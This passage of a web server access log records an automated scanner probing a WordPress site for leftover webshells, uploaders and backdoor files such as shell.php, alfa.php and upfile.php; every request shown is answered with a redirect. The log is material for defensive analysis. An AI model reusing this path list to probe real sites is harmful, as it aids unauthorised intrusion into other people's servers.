/themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:01 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:03 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:04 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:06 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:07 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:08 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:10 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:11 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:14 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:16 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:17 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:19 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:20 -0400] "GET /elp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:22 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:23 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:25 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:26 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:27 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:29 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:30 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:31 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:33 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:35 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:36 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:37 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:38 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:40 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:42 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:43 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:44 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:46 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:47 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:48 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:50 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:51 -0400] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:54 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:55 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:57 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:58 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:42:59 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:01 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:02 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:04 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:05 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:06 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:07 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:09 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:10 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:12 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:14 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:16 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:17 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:19 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:21 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:22 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:23 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:24 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:26 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:27 -0400] "GET /wp-admin/css/colors/blue HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:28 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:29 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:31 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:33 -0400] "GET /templates/beez3/jsstrings.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:34 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:36 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:37 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:38 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:40 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:41 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:42 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:43 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:45 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:46 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:47 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:48 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:50 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:51 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:52 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:53 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:55 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:56 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:43:58 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:00 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:02 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:04 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:06 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:07 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:10 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:12 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:15 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:17 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:18 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:20 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:21 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:23 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:24 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:26 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:27 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:30 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:32 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:35 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:37 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:39 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:41 -0400] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:43 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:45 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:47 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:48 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:50 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:53 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:54 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:56 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:44:58 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:00 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:01 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:03 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:05 -0400] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:08 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:10 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:12 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:14 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:16 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:17 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:19 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:20 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:22 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:23 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:25 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:26 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:28 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:29 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:31 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:33 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:34 -0400] "GET /templates/beez/jsstrings.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:36 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:39 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:41 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:43 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:45 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:47 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:49 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:52 -0400] "GET /assets/library.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:54 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:57 -0400] "GET /504.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:45:59 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:00 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:02 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:05 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:07 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:09 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:11 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:14 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:16 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:18 -0400] "GET /sad/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:19 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:21 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:22 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:24 -0400] "GET /wp-admin/network/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:25 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:27 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:28 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:30 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:31 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:32 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:34 -0400] "GET /vendor/bin/loader.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:36 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:38 -0400] "GET /wp-admin/css/dnIzIDf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:39 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:41 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:42 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:44 -0400] "GET /wp-admin/css/colors/HsFPDcD.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:45 -0400] "GET /wp-admin/maint/upfile.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:46 -0400] "GET /wp-includes/room.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:47 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:48 -0400] "GET /3m/wp-admin/css/colors/blue HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:50 -0400] "GET /defaul.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:51 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:52 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:53 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:54 -0400] "GET /ticket/vendor/htmlawed/htmlawed/gel4y.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:55 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:56 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:58 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:46:59 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:00 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:01 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:03 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:04 -0400] "GET /Nexus.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:05 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:06 -0400] "GET /bugz.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:07 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:08 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:09 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:11 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:12 -0400] "GET /wp-content/plugins/wp-super-cache/wp-cache-pointer.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 165.154.227.189 - - [03/Apr/2025:20:47:13 -0400] "GET / HTTP/1.1" 301 795 "-" "Embarcadero URI Client/1.0" 194.5.82.47 - - [03/Apr/2025:20:47:13 -0400] "GET /wp-content/plugins/js_composer/vc_classmap.json-list.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:14 -0400] "GET /wp-content/plugins/social-gallery-block/pop.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:16 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:17 -0400] "GET /wp-admin/includes/String.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:18 -0400] "GET /wp-content/upgrade/String.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:19 -0400] "GET /size.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:20 -0400] "GET /wp-content/themes/news-portal/error.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:22 -0400] "GET /utchiha505.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - 